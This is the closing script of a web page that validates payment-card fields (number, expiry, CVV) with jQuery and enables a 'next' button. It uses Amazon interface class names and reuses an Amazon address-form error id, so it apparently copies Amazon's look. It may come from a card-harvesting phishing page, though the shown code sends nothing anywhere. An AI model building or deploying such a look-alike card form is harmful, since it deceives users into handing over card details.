                $("#inputErrorMsgCardEXP").show().html('<div class="a-section a-spacing-none a-spacing-top-micro address-ui-widgets-inline-error-alert"><div id="address-ui-widgets-full-name-offensive-words-error" class="a-box a-alert-inline a-alert-inline-error" role="alert"><div class="a-box-inner a-alert-container"><i class="a-icon a-icon-alert"></i><div class="a-alert-content"><div class="a-section">Please check a expiration date.</div></div></div></div></div>');
                $("#cardexp").parent().parent().parent().removeClass('validated');
            } else {
                $("#cardexp").removeClass('error').addClass("hasText");
                $("#inputErrorMsgCardEXP").html('');
                $("#cardexp").parent().parent().parent().addClass('validated');
            }
            let my = $('#cardexp')
            if (my.val().length == 2 && !my.val().includes("/"))
                my.val(my.val() + "/")
        }); 
        
        
    $('#cvv').mask('0000');
    var cardNumberInput = $('#cardnumber');
    var cvvInput = $('#cvv');
    var errorCVV = $('#inputErrorMsgCVV');
    cardNumberInput.on('input', function () {
        var cardNumber = this.value.trim();
        resetCVVValidation();
        if (cardNumber.startsWith('34') || cardNumber.startsWith('37')) {
            cvvInput.attr('maxlength', '4');
            cvvInput.attr('pattern', '\\d{4}');
            cvvInput.attr('required', 'true');
            cvvInput[0].setCustomValidity('');
            validateCVV();
        } else {
            cvvInput.attr('maxlength', '3');
            cvvInput.attr('pattern', '\\d{3}');
            cvvInput.attr('required', 'true');
            cvvInput.removeClass('error').addClass('hasText');
            cvvInput.closest('.form-group').addClass('validated');
            cvvInput[0].setCustomValidity('');
        }
    });
    cvvInput.on('input', function () {
        validateCVV();
    });
	
	
	function validateCVV() {
        var cardNumber = cardNumberInput.val().trim();
        if (cardNumber.startsWith('34') || cardNumber.startsWith('37')) {
            if (cvvInput.val().length < 3) {
                cvvInput.addClass('error').removeClass('hasText');
                errorCVV.show().html('<div class="a-section a-spacing-none a-spacing-top-micro address-ui-widgets-inline-error-alert"><div id="address-ui-widgets-full-name-offensive-words-error" class="a-box a-alert-inline a-alert-inline-error" role="alert"><div class="a-box-inner a-alert-container"><i class="a-icon a-icon-alert"></i><div class="a-alert-content"><div class="a-section">Enter 3-4 digit CVV.</div></div></div></div></div>');
                cvvInput.closest('.form-group').removeClass('validated');
            } else if (cvvInput.val().length === 3) {
                cvvInput.addClass('error').removeClass('hasText');
                errorCVV.show().html('<div class="a-section a-spacing-none a-spacing-top-micro address-ui-widgets-inline-error-alert"><div id="address-ui-widgets-full-name-offensive-words-error" class="a-box a-alert-inline a-alert-inline-error" role="alert"><div class="a-box-inner a-alert-container"><i class="a-icon a-icon-alert"></i><div class="a-alert-content"><div class="a-section">Required 4 digit CVV.</div></div></div></div></div>');
                cvvInput.closest('.form-group').removeClass('validated');
            } else {
                cvvInput.removeClass('error').addClass('hasText');
                cvvInput.closest('.form-group').addClass('validated');
                errorCVV.hide();
            }
        } else {
            if (cvvInput.val().length === 3) {
                cvvInput.removeClass('error').addClass('hasText');
                cvvInput.closest('.form-group').addClass('validated');
                errorCVV.hide();
            } else if (cvvInput.length < 2) {
                cvvInput.addClass('error').removeClass('hasText');
                cvvInput.closest('.form-group').removeClass('validated');
                errorCVV.show().html('<div class="a-section a-spacing-none a-spacing-top-micro address-ui-widgets-inline-error-alert"><div id="address-ui-widgets-full-name-offensive-words-error" class="a-box a-alert-inline a-alert-inline-error" role="alert"><div class="a-box-inner a-alert-container"><i class="a-icon a-icon-alert"></i><div class="a-alert-content"><div class="a-section">Enter 3-4 digit CVV.</div></div></div></div></div>');
            } else {
                cvvInput.addClass('error').removeClass('hasText').addClass('border-error').addClass('invalid').removeClass('border-valid').removeClass('valid');;
                cvvInput.closest('.form-group').removeClass('validated');
                errorCVV.show().html('<div class="a-section a-spacing-none a-spacing-top-micro address-ui-widgets-inline-error-alert"><div id="address-ui-widgets-full-name-offensive-words-error" class="a-box a-alert-inline a-alert-inline-error" role="alert"><div class="a-box-inner a-alert-container"><i class="a-icon a-icon-alert"></i><div class="a-alert-content"><div class="a-section">Enter 3-4 digit CVV.</div></div></div></div></div>');
            }
        }
    }
    function resetCVVValidation() {
        cvvInput.removeClass('error').removeClass('hasText');
        cvvInput.closest('.form-group').removeClass('validated');
        errorCVV.hide();
    };
    
    
    $('#cardexp').mask('00/00');
    $('#cardnumber, #cardexp, #cvv').on("keyup , focus", () => {
        if (!$("#cardnumber").hasClass('error') && !$("#cardexp").hasClass('error') && !$("#cvv").hasClass('error')
            &&  $("#cardnumber").val().length > 0 && $("#cardexp").val().length > 0 && $("#cvv").val().length > 0) {
            $("#btn_next").prop("disabled", false)
        } else {
            $("#btn_next").prop("disabled", true)
        }
    });
    </script>
</body>

</html>